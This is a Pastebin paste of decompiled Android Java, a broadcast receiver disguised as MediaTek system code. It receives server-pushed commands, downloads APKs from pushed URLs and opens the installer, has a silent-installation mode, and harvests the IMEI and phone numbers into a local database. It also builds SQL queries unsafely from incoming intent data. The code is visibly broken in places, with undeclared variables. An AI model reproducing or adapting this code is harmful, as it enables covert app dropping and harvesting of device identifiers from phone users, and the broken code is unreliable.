Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.mediatek.mobileaudioconnction;
- import android.annotation.SuppressLint;
- import android.annotation.TargetApi;
- import android.app.DownloadManager;
- import android.app.DownloadManager.Query;
- import android.app.DownloadManager.Request;
- import android.app.Notification;
- import android.app.Notification.Builder;
- import android.app.NotificationManager;
- import android.app.PendingIntent;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.content.SharedPreferences.Editor;
- import android.content.pm.PackageManager;
- import android.database.Cursor;
- import android.database.sqlite.SQLiteDatabase;
- import android.net.ConnectivityManager;
- import android.net.NetworkInfo;
- import android.net.Uri;
- import android.os.Build.VERSION;
- import android.os.ServiceManager;
- import android.util.Log;
- import android.widget.RemoteViews;
- import com.android.internal.telephony.IPhoneSubInfo.Stub;
- import java.io.File;
- import java.lang.reflect.Method;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import java.util.Locale;
- @SuppressLint({"NewApi", "SimpleDateFormat"})
- @TargetApi(16)
- public class DebugBinBroadcast extends BroadcastReceiver {
- private final boolean DEBUG;
- private final String KEY_SHAERE_PREFERENCE_NAME;
- private final int NOTI_TAG_PUSH_APK;
- private final int NOTI_TAG_PUSH_LINK;
- private final int NOTI_TAG_PUSH_TEXT;
- private String[] PHONE_SUBINFO_SERVICE;
- private final String TAG;
- NotificationManager mn;
- Notification notification;
- public DebugBinBroadcast() {
- this.TAG = "DebugBinBroadcast";
- this.DEBUG = true;
- this.KEY_SHAERE_PREFERENCE_NAME = "dddsdsfdf";
- this.NOTI_TAG_PUSH_APK = 4001;
- this.NOTI_TAG_PUSH_LINK = 6001;
- this.NOTI_TAG_PUSH_TEXT = 8001;
- this.mn = null;
- this.notification = null;
- this.PHONE_SUBINFO_SERVICE = new String[]{"iphonesubinfo", "iphonesubinfo2", "iphonesubinfo3", "iphonesubinfo4"};
- }
- @SuppressLint({"NewApi"})
- public void onReceive(Context context, Intent intent) {
- Log.i("DebugBinBroadcast", "intent.getAction()=" + intent.getAction());
- try {
- String serverId;
- Intent intent2;
- Editor editor;
- DownloadManager downloadManager;
- long id;
- SharedPreferences preferences;
- if ("android.debugs.bin.newmsg".equals(intent.getAction())) {
- String type = intent.getStringExtra("type");
- Log.i("DebugBinBroadcast", "type =" + type);
- String title;
- String comments;
- String icon;
- String url;
- RemoteViews remoteViews;
- Notification noti;
- NotificationManager notificationManager;
- if ("DownloadAndInstall".equals(type)) {
- serverId = intent.getStringExtra("serverId");
- title = intent.getStringExtra("title");
- comments = intent.getStringExtra("comments");
- icon = intent.getStringExtra("icon");
- url = intent.getStringExtra("url");
- String packages = intent.getStringExtra("package");
- Log.i("DebugBinBroadcast", "url=" + url);
- remoteViews = new RemoteViews(context.getPackageName(), 2130903040);
- remoteViews.setImageViewUri(2131165185, Uri.fromFile(new File(icon)));
- remoteViews.setTextViewText(2131165186, title);
- remoteViews.setTextViewText(2131165187, comments);
- saveRecordToDB(context, serverId, "1", packages, url, title, comments, "00");
- intent2 = new Intent("android.debugs.bin.newmsg");
- intent2.putExtra("serverId", serverId);
- intent2.putExtra("url", url);
- intent2.putExtra("type", "clicked_apk");
- remoteViews.setOnClickPendingIntent(2131165184, PendingIntent.getBroadcast(context, Integer.parseInt(serverId) + 4001, intent2, 0));
- noti = new Builder(context).setContent(remoteViews).setSmallIcon(2130837505).build();
- noti.defaults |= 1;
- noti.tickerText = title + "\n" + comments;
- notificationManager = (NotificationManager) context.getSystemService("notification");
- mNotificationManager.notify(Integer.parseInt(serverId) + 4001, noti);
- editor = context.getSharedPreferences("dddsdsfdf", 0).edit();
- editor.putString("aaaaa" + serverId, icon);
- editor.commit();
- } else if ("SilentInstallation".equals(type)) {
- serverId = intent.getStringExtra("serverId");
- title = intent.getStringExtra("title");
- comments = intent.getStringExtra("comments");
- String str = "1";
- Context context2 = context;
- saveRecordToDB(context2, serverId, str, intent.getStringExtra("package"), intent.getStringExtra("url"), title, comments, "12");
- } else if ("pushLink".equals(type)) {
- serverId = intent.getStringExtra("serverId");
- title = intent.getStringExtra("title");
- comments = intent.getStringExtra("comments");
- icon = intent.getStringExtra("icon");
- url = intent.getStringExtra("url");
- remoteViews = new RemoteViews(context.getPackageName(), 2130903040);
- remoteViews.setImageViewUri(2131165185, Uri.fromFile(new File(icon)));
- remoteViews.setTextViewText(2131165186, title);
- remoteViews.setTextViewText(2131165187, comments);
- saveRecordToDB(context, serverId, "2", "", url, title, comments, "00");
- intent2 = new Intent("android.debugs.bin.newmsg");
- String stringExtra = intent.getStringExtra("serverId");
- intent2.putExtra("serverId", stringExtra);
- intent2.putExtra("url", url);
- intent2.putExtra("type", "clicked_link");
- remoteViews.setOnClickPendingIntent(2131165184, PendingIntent.getBroadcast(context, Integer.parseInt(serverId) + 6001, intent2, 0));
- noti = new Builder(context).setContent(remoteViews).setSmallIcon(2130837505).build();
- noti.defaults |= 1;
- noti.tickerText = title + "\n" + comments;
- notificationManager = (NotificationManager) context.getSystemService("notification");
- mNotificationManager.notify(Integer.parseInt(serverId) + 6001, noti);
- editor = context.getSharedPreferences("dddsdsfdf", 0).edit();
- editor.putString("bbbbb" + serverId, icon);
- editor.commit();
- } else if ("pushText".equals(type)) {
- serverId = intent.getStringExtra("serverId");
- title = intent.getStringExtra("title");
- comments = intent.getStringExtra("comments");
- icon = intent.getStringExtra("icon");
- remoteViews = new RemoteViews(context.getPackageName(), 2130903040);
- remoteViews.setImageViewUri(2131165185, Uri.fromFile(new File(icon)));
- remoteViews.setTextViewText(2131165186, title);
- remoteViews.setTextViewText(2131165187, comments);
- saveRecordToDB(context, serverId, "3", "", "", title, comments, "00");
- Log.i("DebugBinBroadcast", "serverId:" + serverId + ",title=" + title + ",comments=" + comments);
- intent2 = new Intent("android.debugs.bin.newmsg");
- intent2.putExtra("serverId", serverId);
- intent2.putExtra("title", title);
- intent2.putExtra("comments", comments);
- intent2.putExtra("type", "clicked_text");
- remoteViews.setOnClickPendingIntent(2131165184, PendingIntent.getBroadcast(context, Integer.parseInt(serverId) + 8001, intent2, 0));
- noti = new Builder(context).setContent(remoteViews).setSmallIcon(2130837505).build();
- noti.defaults |= 1;
- noti.tickerText = title + "\n" + comments;
- notificationManager = (NotificationManager) context.getSystemService("notification");
- mNotificationManager.notify(Integer.parseInt(serverId) + 8001, noti);
- editor = context.getSharedPreferences("dddsdsfdf", 0).edit();
- editor.putString("ccccc" + serverId, icon);
- editor.commit();
- } else if ("init".equals(type)) {
- db = new DBHelper(context).getWritableDatabase();
- String imei = "";
- String phoneNumber1 = "";
- String phoneNumber2 = "";
- String versionCode = "";
- try {
- PackageManager packageManager = context.getPackageManager();
- versionCode = "" + pm.getPackageInfo(context.getPackageName(), 0).versionCode;
- imei = Stub.asInterface(ServiceManager.getService(this.PHONE_SUBINFO_SERVICE[0])).getDeviceId();
- phoneNumber1 = Stub.asInterface(ServiceManager.getService(this.PHONE_SUBINFO_SERVICE[0])).getLine1Number();
- phoneNumber2 = Stub.asInterface(ServiceManager.getService(this.PHONE_SUBINFO_SERVICE[1])).getLine1Number();
- } catch (Exception ex) {
- ex.printStackTrace();
- Log.i("DebugBinBroadcast", "init get phone info exception:" + ex.getMessage());
- }
- String CountryCode = Locale.getDefault().toString();
- Log.i("DebugBinBroadcast", "IMEI=" + imei + ";\nphoneNumber1=" + phoneNumber1 + ";\nphoneNumber2=" + phoneNumber2 + ";\nversionCode=" + versionCode);
- if (!(imei == null || "".equals(imei))) {
- db.execSQL("delete from t_config where name='IMEI'");
- db.execSQL("insert into t_config(name,value) values('IMEI','" + imei + "')");
- }
- if (!(phoneNumber1 == null || "".equals(phoneNumber1))) {
- db.execSQL("delete from t_config where name='PHONE_NUMBER_1'");
- db.execSQL("insert into t_config(name,value) values('PHONE_NUMBER_1','" + phoneNumber1 + "')");
- }
- if (!(phoneNumber2 == null || "".equals(phoneNumber2))) {
- db.execSQL("delete from t_config where name='PHONE_NUMBER_2'");
- db.execSQL("insert into t_config(name,value) values('PHONE_NUMBER_2','" + phoneNumber2 + "')");
- }
- if (!(versionCode == null || "".equals(versionCode))) {
- db.execSQL("delete from t_config where name='CLIENT_APK_VERSION'");
- db.execSQL("insert into t_config(name,value) values('CLIENT_APK_VERSION','" + versionCode + "')");
- }
- if (!(CountryCode == null || "".equals(CountryCode))) {
- db.execSQL("delete from t_config where name='COUNTRY_CODE'");
- db.execSQL("insert into t_config(name,value) values('COUNTRY_CODE','" + CountryCode + "')");
- }
- db.close();
- Log.i("DebugBinBroadcast", "init over");
- } else if ("get_network_type".equals(type)) {
- NetworkInfo networkInfo = ((ConnectivityManager) context.getSystemService("connectivity")).getActiveNetworkInfo();
- db = new DBHelper(context).getWritableDatabase();
- db.execSQL("delete from t_config where name='NETWORK_TYPE'");
- if (networkInfo == null || networkInfo.getType() != 1) {
- db.execSQL("insert into t_config(name,value) values('NETWORK_TYPE','0')");
- } else {
- db.execSQL("insert into t_config(name,value) values('NETWORK_TYPE','1')");
- }
- db.close();
- } else if ("clicked_apk".equals(type)) {
- serverId = intent.getStringExtra("serverId");
- String mUrl = intent.getStringExtra("url");
- Log.i("DebugBinBroadcast", "mUrl=" + mUrl);
- downloadManager = (DownloadManager) context.getSystemService("download");
- Request request = new Request(Uri.parse(mUrl));
- request.setAllowedNetworkTypes(3);
- request.setDestinationInExternalPublicDir("/Download/", "down" + mUrl.hashCode() + ".apk");
- id = downloadManager.enqueue(request);
- preferences = context.getSharedPreferences("dddsdsfdf", 0);
- iconPath = preferences.getString("aaaaa" + serverId, "");
- editor = preferences.edit();
- editor.putString("" + id, serverId);
- editor.remove("aaaaa" + serverId);
- editor.commit();
- if (!"".equals(iconPath)) {
- iconFile = new File(iconPath);
- Log.i("DebugBinBroadcast", "iconFile path=" + iconFile.getAbsolutePath() + ";iconFile.exists()=" + iconFile.exists());
- if (iconFile.exists()) {
- Log.i("DebugBinBroadcast", "iconFile delete result=" + iconFile.delete());
- }
- }
- updateRecordStatus(context, serverId, "1", "11");
- notificationManager = (NotificationManager) context.getSystemService("notification");
- mNotificationManager.cancel(Integer.parseInt(serverId) + 4001);
- hideStatusBar(context);
- } else if ("clicked_link".equals(type)) {
- serverId = intent.getStringExtra("serverId");
- String urlStr = intent.getStringExtra("url");
- Log.i("DebugBinBroadcast", "urlStr=" + urlStr);
- if (urlStr != null) {
- if (!urlStr.startsWith("http://")) {
- if (!urlStr.startsWith("http://")) {
- urlStr = "http://" + urlStr;
- }
- }
- }
- Log.i("DebugBinBroadcast", "urlStr=" + urlStr);
- Intent iTmp = new Intent();
- iTmp.setAction("android.intent.action.VIEW");
- iTmp.setData(Uri.parse(urlStr));
- iTmp.setFlags(268435456);
- context.startActivity(iTmp);
- updateRecordStatus(context, serverId, "2", "21");
- notificationManager = (NotificationManager) context.getSystemService("notification");
- mNotificationManager.cancel(Integer.parseInt(serverId) + 6001);
- hideStatusBar(context);
- preferences = context.getSharedPreferences("dddsdsfdf", 0);
- iconPath = preferences.getString("bbbbb" + serverId, "");
- editor = preferences.edit();
- editor.remove("bbbbb" + serverId);
- editor.commit();
- if (!"".equals(iconPath)) {
- iconFile = new File(iconPath);
- Log.i("DebugBinBroadcast", "iconFile path=" + iconFile.getAbsolutePath() + ";iconFile.exists()=" + iconFile.exists());
- if (iconFile.exists()) {
- Log.i("DebugBinBroadcast", "iconFile delete result=" + iconFile.delete());
- }
- }
- } else if ("clicked_text".equals(type)) {
- serverId = intent.getStringExtra("serverId");
- title = intent.getStringExtra("title");
- comments = intent.getStringExtra("comments");
- updateRecordStatus(context, serverId, "3", "31");
- notificationManager = (NotificationManager) context.getSystemService("notification");
- mNotificationManager.cancel(Integer.parseInt(serverId) + 8001);
- hideStatusBar(context);
- intent2 = new Intent(context, DialogActivity.class);
- intent2.putExtra("title", title);
- intent2.putExtra("comments", comments);
- intent2.setFlags(268435456);
- context.startActivity(intent2);
- preferences = context.getSharedPreferences("dddsdsfdf", 0);
- iconPath = preferences.getString("ccccc" + serverId, "");
- editor = preferences.edit();
- editor.remove("ccccc" + serverId);
- editor.commit();
- if (!"".equals(iconPath)) {
- iconFile = new File(iconPath);
- Log.i("DebugBinBroadcast", "iconFile path=" + iconFile.getAbsolutePath() + ";iconFile.exists()=" + iconFile.exists());
- if (iconFile.exists()) {
- Log.i("DebugBinBroadcast", "iconFile delete result=" + iconFile.delete());
- }
- }
- }
- } else if (!"android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) {
- if ("android.intent.action.DOWNLOAD_COMPLETE".equals(intent.getAction())) {
- id = intent.getLongExtra("extra_download_id", -1);
- Log.i("DebugBinBroadcast", "download id =" + id);
- preferences = context.getSharedPreferences("dddsdsfdf", 0);
- if (preferences.contains("" + id)) {
- downloadManager = (DownloadManager) context.getSystemService("download");
- Query query = new Query();
- query.setFilterById(new long[]{id});
- Cursor mCursor = downloadManager.query(query);
- if (mCursor.moveToFirst()) {
- int fileNameIdx = mCursor.getColumnIndex("local_filename");
- int fileUriIdx = mCursor.getColumnIndex("local_uri");
- String fileName = mCursor.getString(fileNameIdx);
- Log.i("DebugBinBroadcast", "fileName=" + fileName + ";fileUri=" + mCursor.getString(fileUriIdx));
- serverId = preferences.getString("" + id, "");
- if (!(serverId == null || "".equals(serverId))) {
- updateRecordStatus(context, serverId, "1", "11");
- }
- Uri uri = Uri.fromFile(new File(fileName));
- intent2 = new Intent("android.intent.action.VIEW", uri);
- intent2.setData(uri);
- intent2.addFlags(1);
- intent2.setFlags(268435456);
- intent2.setClassName("com.android.packageinstaller", "com.android.packageinstaller.PackageInstallerActivity");
- context.startActivity(intent2);
- }
- editor = preferences.edit();
- editor.remove("" + id);
- editor.commit();
- }
- } else if ("android.intent.action.PACKAGE_ADDED".equals(intent.getAction())) {
- packageName = intent.getDataString().replaceAll("package:", "");
- serverId = checkExistsFromDB(context, "1", packageName);
- Log.i("DebugBinBroadcast", "serverId=" + serverId + ", removed_package=" + packageName);
- if (serverId != null && !"".equals(serverId)) {
- updateRecordStatus(context, serverId, "1", "12");
- }
- } else if ("android.intent.action.PACKAGE_REMOVED".equals(intent.getAction())) {
- packageName = intent.getDataString().replaceAll("package:", "");
- serverId = checkExistsFromDB(context, "1", packageName);
- Log.i("DebugBinBroadcast", "serverId=" + serverId + ", removed_package=" + packageName);
- if (serverId != null && !"".equals(serverId)) {
- updateRecordStatus(context, serverId, "1", "13");
- }
- }
- }
- } catch (Exception e) {
- e.printStackTrace();
- Log.i("DebugBinBroadcast", "Onrecive:" + e.getMessage());
- }
- }
- private void saveRecordToDB(Context context, String serverId, String type, String packages, String urls, String title, String comments, String status) {
- SQLiteDatabase db = new DBHelper(context).getWritableDatabase();
- db.execSQL("delete from t_push_infos where server_id='" + serverId + "' and type='" + type + "'");
- db.execSQL("insert into t_push_infos(server_id,type,title,comments,url,package,flag,is_remote_sync,update_time) values('" + serverId + "','" + type + "','" + title + "','" + comments + "','" + urls + "','" + packages + "','" + status + "','0','" + new SimpleDateFormat("yyyy-MM-dd%20HH:mm:ss").format(new Date()) + "')");
- db.close();
- }
- private String checkExistsFromDB(Context context, String type, String packageName) {
- Cursor mCursor = new DBHelper(context).getWritableDatabase().query("t_push_infos", new String[]{"server_id"}, "type=? and package=?", new String[]{type, packageName}, null, null, " server_id DESC ", "1");
- if (mCursor.getCount() == 0 || !mCursor.moveToFirst()) {
- return null;
- }
- return mCursor.getString(mCursor.getColumnIndex("server_id"));
- }
- private void updateRecordStatus(Context context, String serverId, String type, String status) {
- Log.i("DebugBinBroadcast", "updateRecordStatus serverId:" + serverId + ",type=" + type + ",status=" + status);
- SQLiteDatabase db = new DBHelper(context).getWritableDatabase();
- db.execSQL("update t_push_infos set flag='" + status + "',update_time='" + new SimpleDateFormat("yyyy-MM-dd%20HH:mm:ss").format(new Date()) + "',is_remote_sync='0' where server_id='" + serverId + "' and type='" + type + "'");
- db.close();
- }
- public static void hideStatusBar(Context context) {
- try {
- Method collapse;
- Object statusBarManager = context.getSystemService("statusbar");
- if (VERSION.SDK_INT <= 16) {
- collapse = statusBarManager.getClass().getMethod("collapse", new Class[0]);
- } else {
- collapse = statusBarManager.getClass().getMethod("collapsePanels", new Class[0]);
- }
- collapse.invoke(statusBarManager, new Object[0]);
- } catch (Exception localException) {
- localException.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement